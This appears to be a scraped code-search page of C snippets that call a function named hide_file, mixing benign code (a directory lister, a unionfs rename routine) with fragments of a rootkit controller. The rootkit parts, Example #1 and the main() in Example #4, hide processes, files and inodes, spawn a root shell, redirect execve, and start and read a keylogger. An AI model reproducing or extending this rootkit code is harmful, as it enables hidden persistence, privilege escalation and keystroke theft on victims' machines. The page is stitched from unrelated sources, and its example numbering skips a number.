Example #1
0
void hide_pid(pid_t pid)
{
	struct rk_args args;
	char proc_path[64];

	args.param1 = pid;
	anima_control(SYSCALL_HIDE_PID, &args);

	snprintf(proc_path, sizeof(proc_path), "/proc/%d", pid);
	hide_file(proc_path);
	snprintf(proc_path, sizeof(proc_path), "/proc/%d/exe", pid);
	hide_file(proc_path);

}
Example #2
0
static int
list_dir(FILE *out, const char *directory, int flags)
{
    DIR *d = opendir(directory);
    struct dirent *ent;
    char **files = NULL;
    int n_files = 0;
    int ret;

    if(d == NULL) {
	syslog(LOG_ERR, "%s: %m", directory);
	return -1;
    }
    while((ent = readdir(d)) != NULL) {
	void *tmp;

	if(hide_file(ent->d_name, flags))
	    continue;
	tmp = realloc(files, (n_files + 1) * sizeof(*files));
	if (tmp == NULL) {
	    syslog(LOG_ERR, "%s: out of memory", directory);
	    free_files (files, n_files);
	    closedir (d);
	    return -1;
	}
	files = tmp;
	ret = asprintf(&files[n_files], "%s/%s", directory, ent->d_name);
	if (ret == -1) {
	    syslog(LOG_ERR, "%s: out of memory", directory);
	    free_files (files, n_files);
	    closedir (d);
	    return -1;
	}
	++n_files;
    }
    closedir(d);
    return list_files(out, (const char**)files, n_files, flags | LS_DIR_FLAG);
}
/**
 * unionfs rename function
 * TODO: If we rename a directory on a read-only branch, we need to copy over
 *       all files to the renamed directory on the read-write branch.
 */
static int unionfs_rename(const char *from, const char *to) {
	DBG("from %s to %s\n", from, to);

	bool is_dir = false; // is 'from' a file or directory

	int j = find_rw_branch_cutlast(to);
	if (j == -1) RETURN(-errno);

	int i = find_rorw_branch(from);
	if (i == -1) RETURN(-errno);

	if (!uopt.branches[i].rw) {
		i = find_rw_branch_cow_common(from, true);
		if (i == -1) RETURN(-errno);
	}

	if (i != j) {
		USYSLOG(LOG_ERR, "%s: from and to are on different writable branches %d vs %d, which"
		       "is not supported yet.\n", __func__, i, j);
		RETURN(-EXDEV);
	}

	char f[PATHLEN_MAX], t[PATHLEN_MAX];
	if (BUILD_PATH(f, uopt.branches[i].path, from)) RETURN(-ENAMETOOLONG);
	if (BUILD_PATH(t, uopt.branches[i].path, to)) RETURN(-ENAMETOOLONG);

	filetype_t ftype = path_is_dir(f);
	if (ftype == NOT_EXISTING)
		RETURN(-ENOENT);
	else if (ftype == IS_DIR)
		is_dir = true;

	int res;
	if (!uopt.branches[i].rw) {
		// since original file is on a read-only branch, we copied the from file to a writable branch,
		// but since we will rename from, we also need to hide the from file on the read-only branch
		if (is_dir)
			res = hide_dir(from, i);
		else
			res = hide_file(from, i);
		if (res) RETURN(-errno);
	}

	res = rename(f, t);

	if (res == -1) {
		int err = errno; // unlink() might overwrite errno
		// if from was on a read-only branch we copied it, but now rename failed so we need to delete it
		if (!uopt.branches[i].rw) {
			if (unlink(f))
				USYSLOG(LOG_ERR, "%s: cow of %s succeeded, but rename() failed and now "
				       "also unlink()  failed\n", __func__, from);

			if (remove_hidden(from, i))
				USYSLOG(LOG_ERR, "%s: cow of %s succeeded, but rename() failed and now "
				       "also removing the whiteout  failed\n", __func__, from);
		}
		RETURN(-err);
	}

	if (uopt.branches[i].rw) {
		// A lower branch still *might* have a file called 'from', we need to delete this.
		// We only need to do this if we have been on a rw-branch, since we created
		// a whiteout for read-only branches anyway.
		if (is_dir)
			maybe_whiteout(from, i, WHITEOUT_DIR);
		else
			maybe_whiteout(from, i, WHITEOUT_FILE);
	}

	remove_hidden(to, i); // remove hide file (if any)
	RETURN(0);
}
Example #4
0
int main(int argc, char **argv)
{
	int c, opt_idx;
	struct rk_args args;

	for (;;) {
		memset(&args, 0, sizeof(args));
		c = getopt_long(argc, argv, "h", long_options, &opt_idx);
		if (c == -1)
			break;

		switch (c) {
		case 'h':
			usage(argv[0]);
			return 0;
		case 0:
			hide_inode(atoi(optarg));
			break;
		case 1:
			unhide_inode(atoi(optarg));
			break;
		case 2:
			root_shell();
			break;
		case 3:
			hide_file(optarg);
			break;
		case 4:
			unhide_file(optarg);
			break;
		case 5:
			hide_pid(atoi(optarg));
			break;
		case 6:
			unhide_pid(atoi(optarg));
			break;
		case 7:
			hide_filename(optarg);
			break;
		case 8:
			unhide_filename(optarg);
			break;
		case 9:
			redirect_execve(optarg);
			break;
		case 10:
			unredirect_execve(optarg);
			break;
		case 11:
			get_keylogger_buf(optarg);
			break;
		case 12:
			anima_daemon("/tmp/keylogger");
			break;
		case 13:
			anima_control(DEBUG_RK, NULL);
			break;
		default:
			break;
		}
	}


	return 0;
}